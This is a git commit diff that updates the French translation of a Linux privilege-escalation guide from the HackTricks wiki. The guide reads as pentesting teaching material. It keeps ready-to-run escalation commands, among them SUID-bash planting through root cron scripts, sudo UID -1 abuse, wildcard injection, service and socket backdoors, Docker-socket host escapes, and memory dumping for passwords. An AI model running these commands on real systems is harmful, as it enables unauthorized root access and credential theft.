mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['linux-hardening/privilege-escalation/README.md', 'network-s
This commit is contained in:
Translator
parent
657ba3828e
commit
c4fe402c49
7 changed files with 295 additions and 302 deletions
|
|
@ -49,7 +49,7 @@
|
|||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
|
|
|
|||
|
|
@ -26,7 +26,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
|
|||
```
|
||||
### Chemin
|
||||
|
||||
Si vous **avez des autorisations d'écriture sur n'importe quel dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires :
|
||||
Si vous **avez des permissions d'écriture sur n'importe quel dossier à l'intérieur de la variable `PATH`**, vous pourriez être en mesure de détourner certaines bibliothèques ou binaires :
|
||||
```bash
|
||||
echo $PATH
|
||||
```
|
||||
|
|
@ -55,7 +55,7 @@ Les outils qui pourraient aider à rechercher des exploits du noyau sont :
|
|||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (à exécuter sur la victime, vérifie uniquement les exploits pour le noyau 2.x)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (exécuter DANS la victime, vérifie uniquement les exploits pour le noyau 2.x)
|
||||
|
||||
Toujours **rechercher la version du noyau sur Google**, peut-être que votre version du noyau est mentionnée dans un exploit du noyau et alors vous serez sûr que cet exploit est valide.
|
||||
|
||||
|
|
@ -85,9 +85,9 @@ De @sickrov
|
|||
```
|
||||
sudo -u#-1 /bin/bash
|
||||
```
|
||||
### La vérification de la signature Dmesg a échoué
|
||||
### Échec de la vérification de la signature Dmesg
|
||||
|
||||
Consultez la **boîte smasher2 de HTB** pour un **exemple** de la façon dont cette vulnérabilité pourrait être exploitée
|
||||
Consultez la **boîte smasher2 de HTB** pour un **exemple** de la manière dont cette vulnérabilité pourrait être exploitée
|
||||
```bash
|
||||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
|
|
@ -114,31 +114,31 @@ fi
|
|||
```
|
||||
### Grsecurity
|
||||
|
||||
Grsecurity est un ensemble de patches pour le noyau Linux qui améliore la sécurité en ajoutant des fonctionnalités telles que RBAC (Role-Based Access Control), des protections contre les attaques de type "buffer overflow" et des mécanismes de prévention de l'escalade de privilèges.
|
||||
Grsecurity est un ensemble de patches pour le noyau Linux qui améliore la sécurité en ajoutant des fonctionnalités telles que RBAC (Role-Based Access Control), la prévention de l'exécution de données et la randomisation de l'espace d'adressage. Ces fonctionnalités renforcent la sécurité du système en limitant les attaques potentielles et en réduisant les risques d'escalade de privilèges.
|
||||
```bash
|
||||
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
||||
```
|
||||
### PaX
|
||||
|
||||
PaX est un patch noyau Linux qui implémente diverses fonctionnalités de sécurité, y compris l'exécution aléatoire de la pile (ASLR), la protection de la mémoire contre les attaques de dépassement de tampon et la protection contre l'exécution de code sur des pages de données. Ces fonctionnalités aident à renforcer la sécurité du système en rendant plus difficile l'exploitation des vulnérabilités.
|
||||
PaX est un patch noyau Linux qui implémente diverses fonctionnalités de sécurité, y compris l'exécution aléatoire de la pile et des adresses mémoire, ainsi que des protections contre l'écrasement de la pile et les attaques de dépassement de tampon.
|
||||
```bash
|
||||
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
|
||||
```
|
||||
### Execshield
|
||||
|
||||
Execshield est une fonctionnalité de sécurité du noyau Linux qui vise à prévenir les attaques de débordement de pile en rendant la pile non exécutable. Cela aide à réduire les risques de vulnérabilités d'exécution de code arbitraire.
|
||||
Execshield est une fonctionnalité de sécurité du noyau Linux qui vise à protéger contre les attaques de débordement de tampon en rendant les zones de mémoire non exécutables. Cela aide à prévenir l'exécution de code malveillant stocké dans des zones de mémoire préalablement remplies par un attaquant.
|
||||
```bash
|
||||
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
||||
```
|
||||
### SElinux
|
||||
|
||||
**SELinux** (Security-Enhanced Linux) est un mécanisme de contrôle d'accès obligatoire (MAC) pour Linux qui met en œuvre des politiques de sécurité renforcées pour renforcer la sécurité du système en limitant les privilèges des utilisateurs et des processus.
|
||||
### SElinux
|
||||
```bash
|
||||
(sestatus 2>/dev/null || echo "Not found sestatus")
|
||||
```
|
||||
### ASLR
|
||||
|
||||
Address Space Layout Randomization (ASLR) is a security feature that randomizes the memory addresses used by system processes. This helps prevent attackers from predicting memory addresses and executing successful attacks.
|
||||
Address Space Layout Randomization (ASLR) is a security technique used to prevent attackers from predicting memory addresses in order to exploit vulnerabilities such as buffer overflows. ASLR randomizes the memory locations of key data areas, making it harder for attackers to execute malicious code.
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
#If 0, not enabled
|
||||
|
|
@ -186,14 +186,14 @@ _Notez que ces commandes afficheront beaucoup d'informations qui seront principa
|
|||
|
||||
## Processus
|
||||
|
||||
Jetez un œil aux **processus** en cours d'exécution et vérifiez si un processus a **plus de privilèges qu'il ne le devrait** (peut-être un tomcat exécuté par root ?)
|
||||
Jetez un œil aux **processus** en cours d'exécution et vérifiez si un processus a **plus de privilèges qu'il ne devrait** (peut-être un tomcat exécuté par root ?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Vérifiez toujours s'il y a des [**débogueurs electron/cef/chromium** en cours d'exécution, vous pourriez les exploiter pour escalader les privilèges](electron-cef-chromium-debugger-abuse.md). **Linpeas** les détecte en vérifiant le paramètre `--inspect` dans la ligne de commande du processus.\
|
||||
Vérifiez également vos **privilèges sur les binaires des processus**, peut-être pouvez-vous écraser quelqu'un.
|
||||
Vérifiez également vos **privilèges sur les binaires des processus**, peut-être pouvez-vous en écraser un.
|
||||
|
||||
### Surveillance des processus
|
||||
|
||||
|
|
@ -244,7 +244,7 @@ done
|
|||
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
Pour un ID de processus donné, **maps montre comment la mémoire est cartographiée dans l'espace d'adressage virtuel de ce processus**; il montre également les **permissions de chaque région cartographiée**. Le fichier pseudo **mem expose la mémoire des processus eux-mêmes**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et extraire toutes les régions lisibles** dans un fichier.
|
||||
Pour un ID de processus donné, **maps montre comment la mémoire est cartographiée dans l'espace d'adressage virtuel de ce processus**; il montre également les **permissions de chaque région mappée**. Le fichier pseudo **mem expose la mémoire des processus eux-mêmes**. À partir du fichier **maps**, nous savons quelles **régions de mémoire sont lisibles** et leurs décalages. Nous utilisons ces informations pour **chercher dans le fichier mem et extraire toutes les régions lisibles** dans un fichier.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
|
|
@ -264,9 +264,9 @@ En général, `/dev/mem` n'est lisible que par l'utilisateur **root** et le grou
|
|||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump pour linux
|
||||
### ProcDump pour Linux
|
||||
|
||||
ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Trouvez-le sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
ProcDump est une réinterprétation pour Linux de l'outil classique ProcDump de la suite d'outils Sysinternals pour Windows. Vous pouvez le trouver sur [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
|
|
@ -321,10 +321,10 @@ L'outil [**https://github.com/huntergregal/mimipenguin**](https://github.com/hun
|
|||
|
||||
| Fonctionnalité | Nom du processus |
|
||||
| -------------------------------------------------- | --------------------- |
|
||||
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connexions FTP actives) | vsftpd |
|
||||
| Mot de passe GDM (Kali Desktop, Debian Desktop) | gdm-password |
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Connexions FTP actives) | vsftpd |
|
||||
| Apache2 (Sessions d'authentification HTTP Basic actives) | apache2 |
|
||||
| OpenSSH (Sessions SSH actives - Utilisation de Sudo) | sshd: |
|
||||
|
||||
|
|
@ -344,7 +344,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
|||
```
|
||||
## Tâches planifiées/Cron
|
||||
|
||||
Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous profiter d'un script exécuté par root (vulnérabilité de joker ? pouvez-vous modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).
|
||||
Vérifiez si une tâche planifiée est vulnérable. Peut-être pouvez-vous profiter d'un script exécuté par root (vulnérabilité de joker ? peut modifier des fichiers utilisés par root ? utiliser des liens symboliques ? créer des fichiers spécifiques dans le répertoire utilisé par root ?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
|
|
@ -356,7 +356,7 @@ Par exemple, à l'intérieur de _/etc/crontab_, vous pouvez trouver le CHEMIN :
|
|||
|
||||
(_Remarquez comment l'utilisateur "user" a des privilèges d'écriture sur /home/user_)
|
||||
|
||||
Si à l'intérieur de ce crontab l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\
|
||||
Si à l'intérieur de ce crontab, l'utilisateur root essaie d'exécuter une commande ou un script sans définir le chemin. Par exemple : _\* \* \* \* root overwrite.sh_\
|
||||
Ensuite, vous pouvez obtenir un shell root en utilisant :
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
|
|
@ -365,11 +365,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
|||
```
|
||||
### Cron en utilisant un script avec un joker (Injection de joker)
|
||||
|
||||
Si un script est exécuté par root et contient un "**\***" dans une commande, vous pourriez exploiter cela pour réaliser des actions inattendues (comme une élévation de privilèges). Exemple :
|
||||
Si un script est exécuté par root et contient un "**\***" dans une commande, vous pourriez exploiter cela pour provoquer des actions inattendues (comme une élévation de privilèges). Exemple :
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**Si l'astérisque est précédé d'un chemin comme** _**/some/path/\***_ **, il n'est pas vulnérable (même** _**./\***_ **ne l'est pas).**
|
||||
**Si l'astérisque est précédé d'un chemin comme** _**/some/path/\***_, **il n'est pas vulnérable (même** _**./\*** **n'est pas).**
|
||||
|
||||
Consultez la page suivante pour plus de techniques d'exploitation des astérisques :
|
||||
|
||||
|
|
@ -385,15 +385,15 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
|||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Si le script exécuté par root utilise un **répertoire sur lequel vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et de **créer un lien symbolique vers un autre dossier** contenant un script contrôlé par vous.
|
||||
Si le script exécuté par root utilise un **répertoire sur lequel vous avez un accès complet**, il pourrait être utile de supprimer ce dossier et **de créer un lien symbolique vers un autre dossier** servant un script contrôlé par vous.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Tâches cron fréquentes
|
||||
|
||||
Vous pouvez surveiller les processus pour rechercher ceux qui sont exécutés toutes les 1, 2 ou 5 minutes. Peut-être pouvez-vous en profiter pour escalader les privilèges.
|
||||
Vous pouvez surveiller les processus pour rechercher ceux qui sont exécutés toutes les 1, 2 ou 5 minutes. Vous pourriez en profiter pour escalader les privilèges.
|
||||
|
||||
Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes moins exécutées** et supprimer les commandes les plus exécutées, vous pouvez faire :
|
||||
Par exemple, pour **surveiller toutes les 0,1s pendant 1 minute**, **trier par les commandes les moins exécutées** et supprimer les commandes les plus exécutées, vous pouvez faire :
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
|
|
@ -409,14 +409,14 @@ Il est possible de créer une tâche cron **en ajoutant un retour chariot après
|
|||
|
||||
### Fichiers _.service_ inscriptibles
|
||||
|
||||
Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre que la machine soit redémarrée).\
|
||||
Vérifiez si vous pouvez écrire un fichier `.service`, si c'est le cas, vous **pourriez le modifier** pour qu'il **exécute** votre **backdoor lorsque** le service est **démarré**, **redémarré** ou **arrêté** (vous devrez peut-être attendre le redémarrage de la machine).\
|
||||
Par exemple, créez votre backdoor à l'intérieur du fichier .service avec **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Binaires de service inscriptibles
|
||||
|
||||
Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par les services**, vous pouvez les modifier pour y ajouter des backdoors afin que lorsque les services seront réexécutés, les backdoors seront exécutées.
|
||||
Gardez à l'esprit que si vous avez des **permissions d'écriture sur les binaires exécutés par les services**, vous pouvez les modifier pour y ajouter des backdoors afin qu'elles soient exécutées lorsque les services sont relancés.
|
||||
|
||||
### Chemins relatifs systemd PATH
|
||||
### Chemins relatifs de systemd PATH
|
||||
|
||||
Vous pouvez voir le PATH utilisé par **systemd** avec:
|
||||
```bash
|
||||
|
|
@ -428,13 +428,13 @@ ExecStart=faraday-server
|
|||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH de systemd où vous pouvez écrire, et lorsque le service est appelé à exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`).
|
||||
Ensuite, créez un **exécutable** avec le **même nom que le binaire du chemin relatif** à l'intérieur du dossier PATH systemd où vous pouvez écrire, et lorsque le service est appelé à exécuter l'action vulnérable (**Démarrer**, **Arrêter**, **Recharger**), votre **porte dérobée sera exécutée** (les utilisateurs non privilégiés ne peuvent généralement pas démarrer/arrêter les services mais vérifiez si vous pouvez utiliser `sudo -l`).
|
||||
|
||||
**En savoir plus sur les services avec `man systemd.service`.**
|
||||
**Apprenez-en plus sur les services avec `man systemd.service`.**
|
||||
|
||||
## **Minuteries**
|
||||
|
||||
Les **minuteries** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **minuteries** peuvent être utilisées comme une alternative à cron car elles ont un support intégré pour les événements de temps calendrier et les événements de temps monotone et peuvent être exécutées de manière asynchrone.
|
||||
Les **minuteries** sont des fichiers d'unité systemd dont le nom se termine par `**.timer**` qui contrôlent les fichiers ou événements `**.service**`. Les **minuteries** peuvent être utilisées comme une alternative à cron car elles prennent en charge les événements de temps calendrier et les événements de temps monotone et peuvent être exécutées de manière asynchrone.
|
||||
|
||||
Vous pouvez énumérer toutes les minuteries avec:
|
||||
```bash
|
||||
|
|
@ -442,7 +442,7 @@ systemctl list-timers --all
|
|||
```
|
||||
### Timers inscriptibles
|
||||
|
||||
Si vous pouvez modifier un timer, vous pouvez le faire exécuter des existants de systemd.unit (comme un `.service` ou un `.target`)
|
||||
Si vous pouvez modifier un timer, vous pouvez le faire exécuter des existants de systemd.unit (comme un fichier `.service` ou `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
|
|
@ -477,12 +477,12 @@ Les sockets peuvent être configurés en utilisant des fichiers `.socket`.
|
|||
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier de socket AF\_UNIX, l'adresse IPv4/6 et/ou le numéro de port à écouter, etc.)
|
||||
* `Accept` : Prend un argument booléen. Si **true**, une **instance de service est lancée pour chaque connexion entrante** et seul le socket de connexion est transmis à celle-ci. Si **false**, tous les sockets d'écoute eux-mêmes sont **transmis à l'unité de service démarrée**, et une seule unité de service est lancée pour toutes les connexions. Cette valeur est ignorée pour les sockets de datagramme et les FIFO où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut à false**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement de manière adaptée à `Accept=no`.
|
||||
* `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier jeton de la ligne de commande doit être un nom de fichier absolu, suivi des arguments pour le processus.
|
||||
* `ExecStopPre`, `ExecStopPost` : **Commandes** supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement.
|
||||
* `Service` : Spécifie le nom de l'**unité de service** à **activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Par défaut, il s'agit du service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option.
|
||||
* `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement.
|
||||
* `Service` : Spécifie le nom de l'unité de **service à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Par défaut, il s'agit du service portant le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option.
|
||||
|
||||
### Fichiers .socket inscriptibles
|
||||
|
||||
Si vous trouvez un fichier `.socket` **inscriptible**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant la création du socket. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\
|
||||
Si vous trouvez un fichier `.socket` **inscriptible**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant la création du socket. Par conséquent, vous devrez **probablement attendre que la machine soit redémarrée.**\
|
||||
_Notez que le système doit utiliser cette configuration de fichier de socket ou la porte dérobée ne sera pas exécutée_
|
||||
|
||||
### Sockets inscriptibles
|
||||
|
|
@ -514,9 +514,15 @@ Notez qu'il peut y avoir des **sockets en écoute pour les requêtes HTTP** (_Je
|
|||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
### Prise de privilèges avec Docker CLI
|
||||
Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**.
|
||||
|
||||
Si vous avez un accès en écriture au socket Docker, vous pouvez escalader les privilèges en utilisant les commandes suivantes :
|
||||
### Socket Docker inscriptible
|
||||
|
||||
Le socket Docker, souvent situé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est inscriptible par l'utilisateur `root` et les membres du groupe `docker`. Avoir un accès en écriture à ce socket peut entraîner une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le CLI Docker n'est pas disponible.
|
||||
|
||||
#### **Élévation de privilèges avec le CLI Docker**
|
||||
|
||||
Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
|
|
@ -527,23 +533,23 @@ Ces commandes vous permettent d'exécuter un conteneur avec un accès de niveau
|
|||
|
||||
Dans les cas où le CLI Docker n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes `curl`.
|
||||
|
||||
1. **Lister les images Docker :** Récupérer la liste des images disponibles.
|
||||
1. **Lister les images Docker:** Récupérer la liste des images disponibles.
|
||||
|
||||
```bash
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
2. **Créer un conteneur :** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte.
|
||||
2. **Créer un conteneur:** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
```
|
||||
|
||||
Démarrer le conteneur nouvellement créé :
|
||||
Démarrer le conteneur nouvellement créé:
|
||||
|
||||
```bash
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
3. **Se connecter au conteneur :** Utiliser `socat` pour établir une connexion avec le conteneur, permettant l'exécution de commandes à l'intérieur.
|
||||
3. **Se connecter au conteneur:** Utiliser `socat` pour établir une connexion avec le conteneur, permettant l'exécution de commandes à l'intérieur.
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
|
|
@ -557,9 +563,9 @@ Après avoir établi la connexion `socat`, vous pouvez exécuter des commandes d
|
|||
|
||||
### Autres
|
||||
|
||||
Notez que si vous avez des autorisations d'écriture sur le socket Docker car vous êtes **dans le groupe `docker`**, vous avez [**d'autres moyens d'escalader les privilèges**](interesting-groups-linux-pe/#docker-group). Si l' [**API Docker écoute sur un port** vous pouvez également compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Notez que si vous avez des autorisations d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`** vous avez [**d'autres moyens d'escalader les privilèges**](interesting-groups-linux-pe/#docker-group). Si l' [**API docker écoute sur un port** vous pouvez également être en mesure de le compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Consultez **d'autres moyens de contourner Docker ou de l'exploiter pour escalader les privilèges** dans :
|
||||
Consultez **d'autres moyens de s'échapper de Docker ou de l'exploiter pour escalader les privilèges** dans :
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
|
|
@ -583,13 +589,13 @@ Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page
|
|||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir et de partager des données de manière efficace. Conçu pour le système Linux moderne, il offre un cadre robuste pour différents types de communication d'application.
|
||||
D-Bus est un système sophistiqué de **communication inter-processus (IPC)** qui permet aux applications d'interagir efficacement et de partager des données. Conçu pour le système Linux moderne, il offre un cadre robuste pour différents types de communication d'application.
|
||||
|
||||
Le système est polyvalent, prenant en charge une IPC de base qui améliore les échanges de données entre les processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objet distant, simplifiant les demandes de service et les invocations de méthode entre les applications, rationalisant des processus traditionnellement complexes.
|
||||
Le système est polyvalent, prenant en charge une IPC de base qui améliore l'échange de données entre les processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant ainsi l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objet distant, simplifiant les demandes de service et les invocations de méthode entre les applications, rationalisant des processus traditionnellement complexes.
|
||||
|
||||
D-Bus fonctionne sur un modèle **autoriser/refuser**, gérant les permissions des messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de stratégie correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges grâce à l'exploitation de ces autorisations.
|
||||
D-Bus fonctionne sur un modèle **autoriser/refuser**, gérant les permissions des messages (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges grâce à l'exploitation de ces permissions.
|
||||
|
||||
Un exemple de cette politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les autorisations pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`.
|
||||
Un exemple de cette politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les autorisations pour l'utilisateur root de posséder, envoyer et recevoir des messages de `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "par défaut" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques.
|
||||
```xml
|
||||
|
|
@ -600,7 +606,7 @@ Les politiques sans utilisateur ou groupe spécifié s'appliquent universellemen
|
|||
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
|
||||
</policy>
|
||||
```
|
||||
**Apprenez à énumérer et exploiter une communication D-Bus ici:**
|
||||
**Apprenez à énumérer et exploiter une communication D-Bus ici :**
|
||||
|
||||
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %}
|
||||
[d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
|
|
@ -642,7 +648,7 @@ Vérifiez toujours les services réseau en cours d'exécution sur la machine ave
|
|||
```
|
||||
### Sniffing
|
||||
|
||||
Vérifiez si vous pouvez renifler le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des informations d'identification.
|
||||
Vérifiez si vous pouvez renifler le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des identifiants.
|
||||
```
|
||||
timeout 1 tcpdump
|
||||
```
|
||||
|
|
@ -674,7 +680,7 @@ gpg --list-keys 2>/dev/null
|
|||
```
|
||||
### Grand UID
|
||||
|
||||
Certaines versions de Linux étaient affectées par un bug qui permet aux utilisateurs avec **UID > INT\_MAX** d'escalader les privilèges. Plus d'informations: [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
Certaines versions de Linux étaient affectées par un bug qui permet aux utilisateurs avec un **UID > INT\_MAX** d'escalader les privilèges. Plus d'informations: [ici](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ici](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [ici](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Exploitez-le** en utilisant: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groupes
|
||||
|
|
